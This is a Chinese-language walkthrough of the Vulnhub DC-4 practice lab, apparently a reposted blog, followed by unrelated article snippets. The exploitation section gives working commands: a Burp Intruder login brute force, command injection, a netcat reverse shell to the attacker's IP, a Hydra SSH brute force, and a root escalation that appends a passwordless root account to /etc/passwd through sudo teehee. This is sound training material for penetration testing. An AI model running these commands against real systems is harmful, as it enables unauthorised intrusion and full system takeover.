Vulnhub靶场DC-4练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 爆破登录
    • 2. 命令执行
    • 3. 反弹shell
    • 4. hydra爆破ssh
    • 5. 提权
  • 0x04 总结

0x00 准备

下载链接:https://download.vulnhub.com/dc/DC-4.zip

介绍:
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

重点:只有一个flag。




0x01 主机信息收集



kali本机IP:ifconfig ,网卡eth0,地址192.168.22.28 在这里插入图片描述





发现目标主机IP:netdiscover -i eth0 ,地址192.168.22.29。
在这里插入图片描述




探测目标主机开放端口:nmap -sS -sV -A -n 192.168.22.29,开放了22端口和80端口,其中80端口使用的nginx1.15.10。
在这里插入图片描述




0x02 站点信息收集




访问一下80端口:
在这里插入图片描述




看一下网站的目录结构:dirsearch -u 192.168.22.29 -e *
在这里插入图片描述




只有一个index.php,有其他的目录也全部重定向到这个页面中了。
index.php就只有一个登录框,其他有用的信息几乎没有。可以考虑爆破。
在这里插入图片描述




0x03 漏洞查找与利用

1. 爆破登录


输入username和password以后抓包,传输的明文的用户名和密码:
在这里插入图片描述


将抓到的包发送到Intruder(攻击)模块,Attack Type(攻击模式)先选择Sniper(狙击手)模式,盲猜username是admin,所以先只对password进行爆破:
在这里插入图片描述




payload set是对哪个字段进行爆破,前一步只设置了password一个字段。payload type选择Simple list简单字典即可。导入top1000的弱口令,点击start attack开始爆破:
在这里插入图片描述





对爆破的结果按照length进行排序,回显最长的这个是密码。
在这里插入图片描述




登录进来以后,看到下图左边的界面。点击command,到右边的界面。可以运行一些命令,点击run试一下,会回显运行的结果。考虑抓包进行命令执行。注意有个command.php文件。
在这里插入图片描述




2. 命令执行




选择一个命令,run一下,抓包。是通过radio这个参数提交run的命令的,并且命令的空格用+代替。
在这里插入图片描述





修改radio的值为cat command.php,看一下这个文件的内容。用的shell_exec(),直接考虑反弹shell。
在这里插入图片描述




3. 反弹shell


kali中安装netcat:sudo apt install netcat-traditional
kali中监听一个没有被占用的端口:nc -lvp 6666
在这里插入图片描述




在burpsuite中,执行:nc 192.168.22.28 6666 -e /bin/bash (kali的ip)
(将空格替换成+:nc+192.168.22.28+6666±e+/bin/bash)
在这里插入图片描述




forward上面的数据包以后,看到已经监听6666端口成功。
在这里插入图片描述




执行一下命令ls,可以看到成功。
在这里插入图片描述




执行命令:python -c "import pty;pty.spawn('/bin/bash')"
通过python的pty.spawn获得交互式shell。
在这里插入图片描述




4. hydra爆破ssh


去home目录下,找到jim用户,进入用户/home/jim/backups目录下面,有一个old-passwords.bak文件,文件内容是一些密码。并且目标机器开启了22端口,考虑是jim账户的密码。
在这里插入图片描述




把文件内容保存成a.txt。利用hydra对jim用户名进行爆破。
执行命令:hydra -l jim -P a.txt 192.168.22.29 ssh
在这里插入图片描述




ssh连接目标主机,用户名jim,密码jibril04。
命令:ssh jim@192.168.22.29
在这里插入图片描述




5. 提权


登录成功后提示有邮件。进入linux的邮件目录:cd /var/spool/mail/ ,查看jim文件内容,可以得到一个Charles用户给的密码。
在这里插入图片描述




切换到Charles用户:su Charles
查看当前用户的权限:sudo -l
在这里插入图片描述




考虑teehee提权。teehee命令可以往一个文件中追加内容,可以通过这个命令向/etc/passwd中追加一个超级用户,用户名为admin,没有密码,并且有root权限。
执行命令:echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
添加用户成功以后,切换到admin:su admin
进入root目录,可以看到flag.txt。
在这里插入图片描述

0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. dirsearch查看网站目录结构。
  2. 利用burpsuite的Intruder模块,弱口令爆破站点的登录密码。

漏洞利用:

  1. 命令执行,反弹shell。
  2. hydra爆破ssh。
  3. teehee提权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/743192.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【精品案例】数字孪生技术与数字工厂案例(59页PPT)

引言:随着工业4.0和智能制造的快速发展,数字孪生技术和数字工厂已成为制造业转型升级的重要趋势。数字孪生技术通过构建虚拟的数字模型,实现对物理实体全生命周期的映射与仿真,为企业的产品研发、设计、制造等提供有力支持。而数字…

如何评估SD-WAN专线带宽、确保网络性能

网络带宽的充足与否直接关系到业务的正常运作和用户的使用体验。为了确保最佳效果,SD-WAN专线的带宽需要根据企业的规模和具体网络需求进行详细评估。评估过程中需充分考虑实时应用、用户数量、分支机构间的连接以及业务特点。本文将探讨以下问题:SD-WAN…

基于Java的4S店车辆管理系统

你好,我是计算机专业的毕业生,很高兴与您分享我的毕业设计。 开发语言:Java 数据库:MySQL 技术:Java、SpringBoot、B/S模式 工具:MyEclipse、MySQL 系统展示 首页 个人中心 销售员管理界面 车辆维修管…

Ubuntu安装NVIDIA驱动

目录 安装gcc 安装NVIDIA驱动 检查nvidia显卡型号 根据显卡型号下载对应的驱动 安装命令 如何卸载 安装gcc 安装显卡驱动需要使用gcc,输入命令检查是否有gcc gcc --version 如果有版本号弹出,说明已经有gcc环境了,没有的则运行以下…

【Docker】存储数据卷

目录 1、挂载数据卷到容器里 2、查询挂载文件 3、容器与主机之间映射共享卷 4、三个容器之间使用共享卷 5、卷数据的备份与恢复 5.1 备份 5.2 恢复 1、挂载数据卷到容器里 docker run -itd --name test02 -v /data nginx docker exec -it test02 bashls / docker inspe…

1.8 HTTP协议结构

我们来看一下HTTP协议到底由哪些部分组成,也就是HTTP协议的结构。知道了这些知识才能在接口测试中游刃有余。 我们看上图,HTTP协议由四部分组成 起始行 描述请求和响应的基本信息。 当是请求时:请求方法是GET,调用的地址&#…

python基础篇(5):None类型

1 None类型 Python中有一个特殊的字面量&#xff1a;None&#xff0c;其类型是&#xff1a;<class NoneType> 无返回值的函数&#xff0c;实际上就是返回了&#xff1a;None这个字面量 None表示&#xff1a;空的、无实际意义的意思 函数返回的None&#xff0c;就表示…

【Linux】使用信号进行进程间通信

&#x1f525;博客主页&#xff1a; 我要成为C领域大神&#x1f3a5;系列专栏&#xff1a;【C核心编程】 【计算机网络】 【Linux编程】 【操作系统】 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 ​ ​ 实现原理&a…

深入理解桥接模式(Bridge Pattern)及其实际应用

引言 在软件开发过程中&#xff0c;设计模式为我们提供了优雅且高效的解决方案&#xff0c;以应对常见的设计问题。桥接模式&#xff08;Bridge Pattern&#xff09;作为一种结构型设计模式&#xff0c;旨在将抽象部分与其实现部分分离&#xff0c;使它们可以独立变化&#xf…

MySQL 面试突击指南:核心知识点解析2

事务并发可能引发的问题 MySQL 是一个客户端/服务器架构的软件,对于同一个服务器来说,可以有多个客户端与之连接,每个客户端与服务器连接后,可以称为一个会话(Session)。每个客户端都可以在自己的会话中向服务器发出请求语句,一个请求语句可能是某个事务的一部分,也就…

shell:使用结构化语句(控制流)

许多程序要求对shell脚本中的命令施加一些逻辑流程控制。有一类命令会根据条件使脚本跳 过某些命令。这样的命令通常称为结构化命令(structured command)。 1. if-then、if-then-else、if-then-elif-else 如果该命令的退出状态码是0 (该命令成功运行)&#xff0c;位于then部分…

grpc学习golang版( 二、入门示例)

系列文章目录 第一章 grpc基本概念与安装 第二章 grpc入门示例 文章目录 一、环境二、编写protobuf文件三、编写server服务端四、编写服务端五、测试 一、环境 确保环境已经配置完成&#xff0c;效果如下。不同环境可能导致后续生成的效果不一。 go version protoc --version…

GPT-5:AI新纪元的领航者,多维度的审视与准备

一、引言&#xff1a;GPT-5与AI的多维演进 GPT-5作为AI领域的里程碑式突破&#xff0c;不仅仅代表了技术的飞跃&#xff0c;更预示着社会、文化以及经济等多个层面的深刻变革。从技术的角度看&#xff0c;GPT-5代表着AI在自然语言处理领域的最新高度&#xff1b;而从更宽广的视…

Kafka基本架构

「kafka设计思想」 一个最基本的架构是生产者发布一个消息到Kafka的一个Topic &#xff0c;该Topic的消息存放于的Broker中&#xff0c;消费者订阅这个Topic&#xff0c;然后从Broker中消费消息&#xff0c;下面这个图可以更直观的描述这个场景&#xff1a; 「消息状态&#x…

【SQL Server数据库】简单查询

目录 用SQL语句完成下列查询。使用数据库为SCHOOL数据库 1. 查询学生的姓名、性别、班级名称&#xff0c;并把结果存储在一张新表中。 2. 查询男生的资料。 3. 查询所有计算机系的班级信息。 4&#xff0e;查询艾老师所教的课程号。 5. 查询年龄小于30岁的女同学的学号和姓名。…

OpenAI禁止国区使用:免费国产大模型等你体验!

OpenAI中国停服 国产大模型免费使用 前言 OpenAI不支持中国区域访问 从6月25日开始&#xff0c;OpenAI 宣布了对中国停止提供 API 服务&#xff0c;毫无疑问的说这给国内的开发者带来了很大的不便&#xff0c;之后他们怎么去使用GPT 这类先进大模型方面遇到了难题。不过近期我们…

QT学习积累——在C++中,for循环中使用``与不使用``的区别和联系

目录 引出使用&与不使用&除法的一个坑 总结自定义信号和槽1.自定义信号2.自定义槽3.建立连接4.进行触发 自定义信号重载带参数的按钮触发信号触发信号拓展 lambda表达式返回值mutable修饰案例 引出 QT学习积累——在C中&#xff0c;for循环中使用&与不使用&的…

手把手教你SpringBoot整合日志框架,并附录Log4j2的常用标签大全

前言&#xff1a; 日志是平时在项目中必不可少的东西&#xff0c;下面是SpringBoot3整合日志框架的一些基本要领&#xff0c;主要分为一下几步&#xff1a; 导入日志相关依赖配置日志相关功能实际使用日志 导入日志相关依赖 如果是SpringBoot项目&#xff0c;只要导入 spring-…

【多模态】BEIT: BERT Pre-Training of Image Transformers

论文&#xff1a;BEIT: BERT Pre-Training of Image Transformers 链接&#xff1a;https://arxiv.org/pdf/2301.00184 Introduction BEIT&#xff08;Bidirectional Encoder representation from Image Transformers&#xff09;Motivation: 启发于BERT的自编码方式&#xf…

【机器学习-10】 | Scikit-Learn工具包进阶指南:Scikit-Learn工具包之支持向量机模块研究

&#x1f3a9; 欢迎来到技术探索的奇幻世界&#x1f468;‍&#x1f4bb; &#x1f4dc; 个人主页&#xff1a;一伦明悦-CSDN博客 ✍&#x1f3fb; 作者简介&#xff1a; C软件开发、Python机器学习爱好者 &#x1f5e3;️ 互动与支持&#xff1a;&#x1f4ac;评论 &…